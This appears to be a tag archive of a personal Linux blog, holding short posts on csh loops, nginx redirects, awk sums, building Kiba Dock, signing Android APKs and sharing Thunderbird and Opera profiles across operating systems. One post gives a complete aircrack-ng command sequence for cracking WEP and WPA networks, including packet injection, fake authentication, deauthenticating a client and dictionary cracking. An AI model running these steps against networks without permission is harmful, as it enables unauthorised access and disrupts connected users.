Tag Archives: ubuntu

Unix: csh Shell Loop Example

Can you give me a simple loop example in csh shell in Linux or Unix like operating systems?

Read answer to: “Unix: csh Shell Loop Example

Tweet this    Share on Facebook

Powered by WPeMatico

Nginx Redirect Mobile / Smart Phone Traffic To Mobile Version Of the Web Site

I am a new nginx user and I would like to redirect all mobile / smart phone users from www.example.com to m.example.com domain. How do I detect a mobile phone browser in nginx? How do I redirect all mobile users to sub-domain using regex based rules? How can I automatically redirects visitors on mobile devices to its mobile version at http://m.example.com/ and also allow mobile devices to the desktop website at www.example.com if visiting via http://www.example.com/?desktop=true?

Read answer to: “Nginx Redirect Mobile / Smart Phone Traffic To Mobile Version Of the Web Site

Tweet this    Share on Facebook

Powered by WPeMatico

Awk Floating Point Number Addition Results Are Unexpected

I am using awk to grep ‘foo’ from a text file and cacluate sum of field # 7. But, result is rounded to an integer. I need exact result such as 385858.66 and not 385858 using the following command:

grep ‘foo’ 2012-2013.txt | awk ‘BEGIN{ sum=0.0}{ sub(“,”,””,$7); sum +=$7}END{ print “$” sum}’ $682444

I want $682444.57 as output. How can I force “awk” to do floating point math?

Read answer to: “Awk Floating Point Number Addition Results Are Unexpected

Tweet this    Share on Facebook

Powered by WPeMatico

Linux: Find Out How Much Disk Space Left On Hard Drive

I am a desktop support professional with experience working in a corporate call center environment. Recently, I started to admin RHEL based IBM Linux server. How do I determine how much disk space left in my Linux server? How do I find out how much disk space I have in Linux for each partition?

Read answer to: “Linux: Find Out How Much Disk Space Left On Hard Drive

Tweet this    Share on Facebook

Powered by WPeMatico

How to install Kiba Dock on Karmic and Lucid

Just managed to install kiba dock on my system today. I wanted to see what the hype was all about. I followed this guide on ubuntu-forums.

make sure you have compiz running before you install kiba dock.


1. sudo apt-get remove automake1.4

2. sudo apt-get install fakeroot automake1.9 build-essential libpango1.0-dev libgtk2.0-dev libgconf2-dev libglitz-glx1-dev librsvg2-dev libglade2-dev libxcomposite-dev subversion libtool libgtop2-dev python-gtk2-dev libgnome-menu-dev libgnomeui-dev libgnomevfs2-dev intltool libxml2-dev libglitz1-dev libcairo2 libdbus-1-dev libgtop2-7 libgnomevfs2-0 libgnomeui-0 librsvg2-2 python-feedparser libasound2-dev libsdl1.2-dev libdbus-glib-1-dev libgstreamer-plugins-base0.10-dev libgstreamer0.10-dev libgstreamer0.10-0 pidgin-dev libpurple-dev

3. svn co https://kibadock.svn.sourceforge.net/svnroot/kibadock/trunk/akamaru/ akamaru

4. svn co https://kibadock.svn.sourceforge.net/svnroot/kibadock/trunk/kiba-dock/ kiba-dock

5. svn co https://kibadock.svn.sourceforge.net/svnroot/kibadock/trunk/kiba-plugins/ kiba-plugins

6. svn co https://kibadock.svn.sourceforge.net/svnroot/kibadock/trunk/kiba-dbus-plugins/ kiba-dbus-plugins

7. svn co https://kibadock.svn.sourceforge.net/svnroot/kibadock/trunk/kiba-gaim-plugin kiba-gaim-plugin

8. svn co https://kibadock.svn.sourceforge.net/svnroot/kibadock/trunk/kiba-ephy-extension kiba-ephy-extension

9. cd kiba-dock

10. svn update -r 602 *

Follow this if you have 32 bit

cd akamaru/
./autogen.sh --prefix=/usr --exec-prefix=/usr
sudo make install
cd ..

cd kiba-dock/
./autogen.sh
sudo make install
cd ..

cd kiba-plugins/
./autogen.sh
sudo make install
cd ..

cd kiba-dbus-plugins/
./autogen.sh
sudo make install
cd ..

Follow this if you have 64 bit

cd akamaru/
./autogen.sh --prefix=/usr --exec-prefix=/usr --libdir=/usr/lib64
sudo make install
cd ..

cd kiba-dock/
./autogen.sh --prefix=/usr --libdir=/usr/lib64
sudo make install
cd ..

cd kiba-plugins/
CC="gcc -fPIC" ./autogen.sh --prefix=/usr --libdir=/usr/lib64
sudo make install
cd ..

cd kiba-dbus-plugins/
./autogen.sh --prefix=/usr --libdir=/usr/lib64
sudo make install
cd ..


Now add it to the startup applications

Go to System -> Preferences -> Startup Applications and add.

Name = Kiba Dock

Command = kiba-dock

Troubleshooting:

If you are getting compilation errors, then automake is probably causing problems. You need to gedit configuration.in or configuration.ac and change all the AC_SUBST("$WHATEVER") to AC_SUBST(WHATEVER)

Cracking WEP & WPA with IBM Lenovo X60 – Basics

At first injection with the Intel pro wireless cards was impossible. Then came the ipwraw driver. Now, we no longer need the ipwraw as the iwl3945 card supports injection. Most linux distros now ship with this driver.

Follow these steps for a succesful WEP crack in Ubuntu:

download necessary files
sudo apt-get install aircrack-ng

place card in monitor mode
sudo airmon-ng start wlan0

test injection
sudo aireplay-ng -9 -e linksys -a 00:14:6C:7E:40:80 mon0
(0% means injection not working)

capture data and write to file called output
sudo airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w output mon0

fake authentication
sudo aireplay-ng -1 0 -e linksys -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0

replay mode
sudo aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0

run aircrack
sudo aircrack-ng -z -b 00:14:6C:7E:40:80 output*.cap

For WPA cracking follow this:

monitor mode
sudo airmon-ng start wlan0

collect handshake
sudo airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w psk mon0

deauth connected client
sudo aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 mon0

cracking
sudo aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap

These are just refreshers. For more help check www.aircrack-ng.org

Sign apk package files for publishing in the Android market with keytool and jarsigner on Ubuntu

Once you’ve completed your package with Eclipse and you want to publish it to the android market, google requires that you sign it.  For this step you need two tools.  Keytool and jarsigner can be obtained through JDK.

Open up terminal and install jdk:

sudo apt-get install sun-java6-jdk

Use keytool to make yourself a new key:

keytool -genkey -v -keystore mykeystore.keystore -alias aliasname -keyalg RSA -validity 10000

genkey – generate the key
v – verbose mode
keystore – select name of keystore
alias – creates an alias for the key
keyalg – specifies the encryption algorithm used to generate the key. Ex: RSA, DSA
validity – when should the key expire in days? (google requires like a 50 year expiry)

The keytool will walk you through the process of choosing a password and name.  Once the key is made, you need to sign the apk with jarsigner using this key:

jarsigner -verbose -keystore mykeystore.keystore programfile.apk aliasname

keystore – keystore containing your private key
verbose – verbose mode

You will be prompted for your password. You are ready to go.

How to install Opera and Thunderbird and share the profiles between Windows, Ubuntu, Fedora and openSuse

Mozilla thunderbird saves the settings in a file called profile.ini. This file contains the location of the folder which has all your mail and settings. When first installed and loaded, thunderbird creates a random folder like diy1bg1t.default.

Opera settings are stored in Opera6.ini. This has information for the location of other settings files, like wand passwords, plugin locations, etc.

I installed these programs on Windows first and kept the default settings and locations for these files. After installing Ubuntu, I had to figure out a way to share the profiles, but back then people were suggesting to make a common FAT32 partition and keep these files there so Linux could have read and write access to them. With NTFS-3G, this became much easier and I just left the files on the NTFS partition. Later on I installed Fedora and openSuse on the same machine and used the same directions like Ubuntu. (Check here to see my post about Quad Booting my Thinkpad with Windows, Ubuntu, Fedora, and openSuse)

The first step was to make sure the NTFS partition was mounted at start up. I made a folder for the mount:

sudo mkdir /media/sda1

On startup, the system looks for partitions to mount in fstab. If you need more information on mounting and fstab, I recommend this post at ubuntuforums.org

opened fstab for editing:

sudo gedit /etc/fstab

added the following entry to fstab because my Windows partition is at /dev/sda1:

# My windows partition
/dev/sda1 /media/sda1 ntfs-3g defaults, locale=en_US.UTF-8 0 0

fstabfedora
Save file, restart.

Once Linux loaded back up and the Windows partition was automatically mounted, I got the packages for Opera and thunderbird and installed them with this:

In Ubuntu:
sudo apt-get install opera mozilla-thunderbird

Thunderbird In Fedora:
su
(enter password)
yum install thunderbird

installthunderbirdfedora
Thunderbird in openSuse:
used the yast2 graphical package manager.

packagemanageropensuse

installthunderbirdsuse

Opera in Fedora and openSuse:
downloaded rpm package from www.opera.com onto desktop

rpm -ivh /home/(user)/Desktop/opera-9.64.gcc4-shared-qt3.i386.rpm

installoperafedora

The mozilla profile.ini file will be under
/home/(user)/.mozilla-thunderbird for Ubuntu
/home/(user)/.thundebird for openSuse and Fedora

The folders that start with a dot are hidden and you can unhide them in Nautilus (Gnome) with “Alt+H” and in Dolphin (KDE) with “Alt+.”

The profile.ini in Linux should be something like this pointing to the folder which has your mail:

[General]
StartWithLastProfile=1

[Profile0]
Name=default
IsRelative=0
Path=/media/sda1/Documents and Settings/(windows user)/Application Data/Thunderbird/Profiles/diy1bg1t.default

Make sure that isRelative=0 and replace the diy1bg1t with the appropriate foldername

Now when I opened up Thunderbird, I had my mail !!!!

Moving on to Opera:

After Opera was installed in Linux, I copied the opera6.ini from windows to the opera folder in Linux located at /home/(user)/.opera

opened up the new opera6.ini for editing:

sudo gedit /home/(user)/.opera/opera6.ini

and replaced all the paths C:\Program Files\Opera 9\profile with /media/sda1/Program Files/Opera 9/profile

opera6

and deleted the session folder in /.opera and created a symbolic link to point to the session folder in windows.

sessions

Opened up Opera and was happy to discover all my tabs and settings!!